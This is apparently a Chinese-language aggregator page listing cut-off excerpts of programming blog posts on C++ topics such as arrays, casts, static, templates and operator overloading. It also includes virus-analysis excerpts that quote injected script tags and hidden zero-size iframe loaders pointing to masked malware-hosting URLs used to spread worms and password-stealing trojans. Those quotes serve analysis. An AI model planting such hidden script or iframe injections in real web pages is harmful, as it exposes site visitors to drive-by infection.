C++中不能返回數組的原因分析

C++中不能返回數組!也就是說,C++中,不能把數組當成函數的傳回值,否則編譯報錯!如果非要返回的話,可以通過指標的形式返回,雖然有點曲折~那你要問了,C++中是可以把數組當成實參傳遞給函數的,為什麼就不能返回數組呢?!!!是這樣的,C++中把數組當成實參傳遞給函數的形參時,實參數組並沒有被複製給形參,而是將形參轉換成指標,然後用實參初始化了“那個指標”,也就是說,數組形參變數與實參變數指向的同一塊記憶體空間(這也就能解釋“為什麼在函數中sizeof(形參數組)總是等於4”了,因為形參被轉成指標

C++中static_cast、const_cast、reinterpret_cast的用法舉例,附帶舉例說明強制類型轉換時int和int&的區別

《C++ Primer中文版》(第4版)的5.12.6節介紹static_cast、const_cast、reinterpret_cast的用法:1、static_cast,編譯器飲食執行的任何類型轉換都可以由static_cast顯示完成,如:double d=97.0char c1=d;//warningchar c2=static_cast<char>(d);//ok也就是說,static_cast可以把編譯器的warning關掉。當需要將一個較大的算數類型賦值給較小的類型時,

重學C++(2)——指向類成員的指標(轉自:http://www.wangchao.net.cn/bbsdetail_73812.html)

class A  {   int _val;   int val();  };  int (A::*p_val) = &A::_val;  int ( A::*p_func )() =

cocos2d-x c++通知android更新UI

今天遇到一個問題,就是移植到android上的遊戲在主介面顯示廣告,進入遊戲有隱藏廣告。看看我實現的方法。1、遊戲啟動時在java這邊的xml裡面放了一個view放置廣告。在oncreate的時候初始化廣告代碼。2、當進入遊戲後,c++通過JNI通知java(前面我有介紹如果使用JNI),隱藏廣告。3、java這邊隱藏廣告:主線程中更新UI方法,查看原始碼列印協助01private Handler mHandler = new Handler(){02@Override03public

unity3d 一個c#類如何調用另一個c#類中的屬性和方法

1.   在一個c#類中調用類“PlayerManager”中的方法 : PlayerManager.Instance.SyncAnimation(userId, "Shot", 1);在PlayerManager類中public static PlayerManager Instance {  get {        return instance;  } } void Awake() {  instance =

C++中,類Class數組長度的問題

看如下代碼:class OperatorNewCls{private://enum {sz=10};int arr[sz];public:/*定義解構函式後,sizeof(OperatorNewCls)的值未改變,**但是new OperatorNewCls[size]的值等於(sizeof(OperatorNewCls)*size+4),**因為在new OperatorNewCls[size][-1]未知存放了數組的長度size。****若不定義解構函式,**則new

C語言中,static關鍵字舉例——全域static變數

C語言中,可以在全域範圍中使用static關鍵字:被static關鍵字修飾的變數或函數,僅在本".c檔案"中可見,而在其他".c檔案"中,不可見。例如,在t1.c中的全域範圍,定義static函數func,則在t2.c中,無法使用t1.c中定義的func函數,即使在t2.c中,使用extern關鍵字聲明了func函數。實驗代碼如下:1、預設使用extern修飾符/*file:t1.c*//*定義函數func,此時沒有使用任何修飾符,**所以預設使用extern修飾*/void func(){}/

C++模板元編程之使用模板,對數組進行“編譯期間求和”

編譯期間求值,將計算提前到編譯期間進行,可以最大限度地榨乾編譯器的潛力,提高程式的運行速度,用Andrei Alexanderescu的話說就是“時間花在編譯期,就某種意義來說這是‘免費的’”(《C++設計新思維》P55)。所以就有了對數組在編譯期間求和的需求。先上代碼,再解釋:#include <iostream>using namespace std;//一個全域的int數組,需要對其求和const int

C++編寫Lib工程和Exe工程時,發生class或函數重名後的決策過程

編號LibExe1 bool glbFunc(Cls&){return true;}bool glbFunc(Cls&){return false;},不可inline bool glbFunc(Cls&){return false;},不可2inline bool glbFunc(Cls&){return true;}bool glbFunc(Cls&){return false;},可以inline bool

基數排序的C++實現(解析)

基數排序(Radix sort)是一種非比較型整數排序演算法,其原理是將整數按位元切割成不同的數字,然後按每個位元分別比較。由於整數也可以表達字串(比如名字或日期)和特定格式的浮點數,所以基數排序也不是只能使用於整數。基數排序的發明可以追溯到1887年赫爾曼·何樂禮在打孔卡片製表機(Tabulation Machine)上的貢獻。時間複雜度是

C++中,將class轉換成函數指標(使用運算子多載實現,即operator函數)

這幾天在看《Effective C++》,裡面提到了std::tr1::function,說是可以將一個函數指標封裝成一個function對象,很神奇,所以就想自己實現以下,然後想到了2中實現方式,可以將一個class轉換成函數指標,通過運算子多載實現,即operator函數,第一種方式,使用typedef,第二種方式,使用模板:typedef int (*pft)(char);class C{public:operator pft(){return (pft)0;}};template<

C++中使用模板傳遞函數類型

首先看了常用的寫法:int fi(char){return 1;}int main(){int (*pf)(char)=fi;//以下兩種函數調用方式,沒有區別pf('a');//ok(*pf)('a');//okreturn

C++中,operator new和operator delete重載舉例

根據《Effective C++ 中文版(第三版)》所講,語句Widget *pw=new Widget;“共調用了兩個函數:一個是用以分配記憶體的operator new,一個是Widget的default建構函式。”對於前者,我們可以通過重載operator new符號,進行幹預;對於後者,我們只能編寫建構函式,但是無法阻止或增加執行次數,因為那是編譯器自己增加的代碼,用於在operator

C++中的const在多維指標中的應用

void func1(){ const int** pp;//2次*(因為const的右邊有出現了2次*)後,禁止賦值 pp=new const int*[1]; pp[0]=new int[1]; //pp[0][0]=0;//error: assignment of read-only location } void func2(){ int const **

C語言中,static關鍵字舉例——局部static變數

C語言中,static關鍵字可以用在全域範圍,也可以用在函數範圍,還可以用在局部範圍!先上實驗代碼:#include <stdio.h>void func(int i){if((i&0x01)==1){static int j=1;//局部範圍定義的static變數jj++;printf("i=%d,j=%d.\n",i,j);}else{static int

ARP病毒自動添加的網址利用ms07004EXP和MS0614EXP傳播Worm.Win32.Delf.cc等

endurer 原創2007-05-24 第1版ARP病毒自動加入的網址為:/---<script language=javascript src=hxxp://google**.17***173**8.org/ad***.js></script>---/ad***.js 包含代碼:/---document.write('<iframe width=0 height=0 src="hxxp://google**.17***173**8.org/p*d***.htm"></iframe>'); -

一個傳播 Worm.Win32.Otwycal.c / Worm.Win32.Infei.a 的網站v2

一個傳播 Worm.Win32.Otwycal.c / Worm.Win32.Infei.a 的網站endurer 原創2008-04-07     第2版 補充瑞星的回複                            第1版該網站首頁包含代碼:/---document.write("<iframe src=hxxp://a**.1**58d**m.com/b2.htm width=0 height=0></iframe>")---/#1

360總是檢測C:/windows/system32/toaksie.dll 有未知服務裝入?修複~

360總是檢測C:/windows/system32/toaksie.dll 有未知服務裝入?修複~endurer 原創2008-10-20 第1版一位朋友的電腦裝有瑞星和360衛士。最近360衛士總是檢測C:/windows/system32/toaksie.dll 有未知服務裝入。該朋友升級瑞星後全面查殺病毒,幹掉了一個木馬,但360衛士的提示依舊在每次開機器都會跳出來。請偶幫忙檢修。下載 pe_xscan 掃描 log並分析,發現如下可疑項:pe_xscan 08-08-01 by

遭遇Win32.Loader.c,Trojan.PSW.Win32.GameOnline,Trojan.PSW.Win32.AskTao等2

遭遇Win32.Loader.c,Trojan.PSW.Win32.GameOnline,Trojan.PSW.Win32.AskTao等2endurer 原創2007-11-22 第1版檢查發現 除C盤外的其它盤上的EXE檔案的最後修改時間相似,檔案大小增長,如HijackThis 1.99.1英文版本的檔案,正常大小為 218,112 位元組,被感染後的 223,585 位元組,應該是被感染了,難怪運行時,防火牆會提示程式要訪問網路。使用瑞星線上免費掃描,到

Visual C++內嵌swf檔案並播放

Visual C++實現Flash動畫播放資訊產業部電子第二十二研究所青島分所 郎銳  摘要: 本文通過在VC中將外部swf格式檔案內嵌為VC的內部資源,使其在程式運行過程中從資源動態釋放到臨時檔案,從而實現VC對Flash動畫的播放。    引言   Flash動畫由於可以很方便地把使用者的想象通過動畫顯現出來,使原本只屬於專業製作人員的動畫製作變的異乎尋常的快捷、方便。由於Flash製作的動畫在層次、內容、表現形式等諸多方面均比較出色,因此在網路上得到迅猛的發展,更有不少廠商用Flash在互

總頁數: 4314 1 .... 1305 1306 1307 1308 1309 .... 4314 Go to: 前往

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.